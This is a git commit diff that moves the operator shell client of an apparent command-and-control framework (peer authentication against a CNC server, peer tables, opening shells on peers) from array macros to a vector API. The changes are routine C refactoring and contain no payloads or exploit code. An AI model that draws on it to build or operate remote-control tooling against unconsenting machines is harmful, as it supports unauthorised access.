shell: migrated to new vector API

- removed array API from lmem.h
- sterm.c: basically left as-is. see source for notes as to why
This commit is contained in:
CPunch 2022-09-01 19:35:52 -05:00
parent 44086f563b
commit 169313ee39
6 changed files with 53 additions and 48 deletions

View File

@ -155,7 +155,7 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
break; break;
case PEER_AUTH: case PEER_AUTH:
/* check that peer's pubkey is authenticated */ /* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount)) if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, laikaM_countVector(cnc->authKeys)))
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n"); LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer); LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);

View File

@ -55,30 +55,6 @@
name##_COUNT += numElem; \ name##_COUNT += numElem; \
} while (0); } while (0);
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz); void *laikaM_realloc(void *buf, size_t sz);
#endif #endif

View File

@ -2,6 +2,7 @@
#define SHELLCLIENT_H #define SHELLCLIENT_H
#include "hashmap.h" #include "hashmap.h"
#include "lmem.h"
#include "lpeer.h" #include "lpeer.h"
#include "lsodium.h" #include "lsodium.h"
#include "ltask.h" #include "ltask.h"
@ -15,9 +16,7 @@ typedef struct sShell_client
struct sLaika_peer *peer; struct sLaika_peer *peer;
tShell_peer *openShell; /* if not NULL, shell is open on peer */ tShell_peer *openShell; /* if not NULL, shell is open on peer */
struct hashmap *peers; struct hashmap *peers;
tShell_peer **peerTbl; laikaM_newVector(tShell_peer *, peerTbl);
int peerTblCount;
int peerTblCap;
} tShell_client; } tShell_client;
#define shellC_isShellOpen(x) (x->openShell != NULL) #define shellC_isShellOpen(x) (x->openShell != NULL)

View File

@ -217,9 +217,7 @@ void shellC_init(tShell_client *client)
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
shell_ElemCompare, NULL, NULL); shell_ElemCompare, NULL, NULL);
client->openShell = NULL; client->openShell = NULL;
client->peerTbl = NULL; laikaM_initVector(client->peerTbl, 4);
client->peerTblCap = 4;
client->peerTblCount = 0;
laikaT_initTaskService(&client->tService); laikaT_initTaskService(&client->tService);
laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client); laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
@ -254,7 +252,7 @@ void shellC_cleanup(tShell_client *client)
laikaT_cleanTaskService(&client->tService); laikaT_cleanTaskService(&client->tService);
/* free peers */ /* free peers */
for (i = 0; i < client->peerTblCount; i++) { for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
if (client->peerTbl[i]) if (client->peerTbl[i])
shellP_freePeer(client->peerTbl[i]); shellP_freePeer(client->peerTbl[i]);
} }
@ -346,16 +344,15 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
{ {
/* find empty ID */ /* find empty ID */
int id; int id;
for (id = 0; id < client->peerTblCount; id++) { for (id = 0; id < laikaM_countVector(client->peerTbl); id++) {
if (client->peerTbl[id] == NULL) /* it's empty! */ if (client->peerTbl[id] == NULL) /* it's empty! */
break; break;
} }
/* if we didn't find an empty id, grow the array */ /* if we didn't find an empty id, grow the array (ID is already set to the correct index) */
if (id == client->peerTblCount) { if (id == laikaM_countVector(client->peerTbl)) {
laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount, laikaM_growVector(tShell_peer *, client->peerTbl, 1);
client->peerTblCap); laikaM_countVector(client->peerTbl)++;
client->peerTblCount++;
} }
/* add to peer lookup table */ /* add to peer lookup table */

View File

@ -23,7 +23,7 @@ tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id) tShell_peer *shellS_getPeer(tShell_client *client, int id)
{ {
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL) if (id < 0 || id >= laikaM_countVector(client->peerTbl) || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id); CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id]; return client->peerTbl[id];
@ -48,7 +48,7 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[])
{ {
int i; int i;
for (i = 0; i < client->peerTblCount; i++) { for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
if (client->peerTbl[i]) { if (client->peerTbl[i]) {
shellT_printf("%04d ", i); shellT_printf("%04d ", i);
shellP_printInfo(client->peerTbl[i]); shellP_printInfo(client->peerTbl[i]);
@ -172,11 +172,10 @@ void shellS_cleanupCmds(void)
char **shellS_splitCmd(char *cmd, int *argSize) char **shellS_splitCmd(char *cmd, int *argSize)
{ {
int argCount = 0;
int argCap = 4;
char *temp; char *temp;
char **args = NULL;
char *arg = cmd; char *arg = cmd;
laikaM_newVector(char *, args);
laikaM_initVector(args, 4);
do { do {
/* replace space with NULL terminator */ /* replace space with NULL terminator */
@ -192,12 +191,12 @@ char **shellS_splitCmd(char *cmd, int *argSize)
*arg++ = '\0'; *arg++ = '\0';
} }
/* insert into our 'args' array */ /* insert into our 'args' vector */
laikaM_growarray(char *, args, 1, argCount, argCap); laikaM_growVector(char *, args, 1);
args[argCount++] = arg; args[laikaM_countVector(args)++] = arg;
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */ } while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
*argSize = argCount; *argSize = laikaM_countVector(args);
return args; return args;
} }

View File

@ -15,8 +15,42 @@
#define cursorBackward(x) printf("\033[%dD", (x)) #define cursorBackward(x) printf("\033[%dD", (x))
#define clearLine() printf("\033[2K") #define clearLine() printf("\033[2K")
/* =================================[[ DEPRECATED ARRAY API ]]================================== */
/*
this whole target needs to be rewritten, so these macros have been embedded here until a
rewrite can be done. this is the only section of the entire codebase that relies too heavily
on these to quickly exchange into the vector api equivalent. there's technically a memory leak
here since the array is never free'd, but since the array is expected to live the entire
lifetime of the program it's safe to leave as-is for now.
*/
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
struct termios orig_termios; struct termios orig_termios;
char *cmd, *prompt = "$> "; char *cmd = NULL, *prompt = "$> ";
int cmdCount = 0, cmdCap = 4, cmdCursor = 0; int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
void shellT_conioTerm(void) void shellT_conioTerm(void)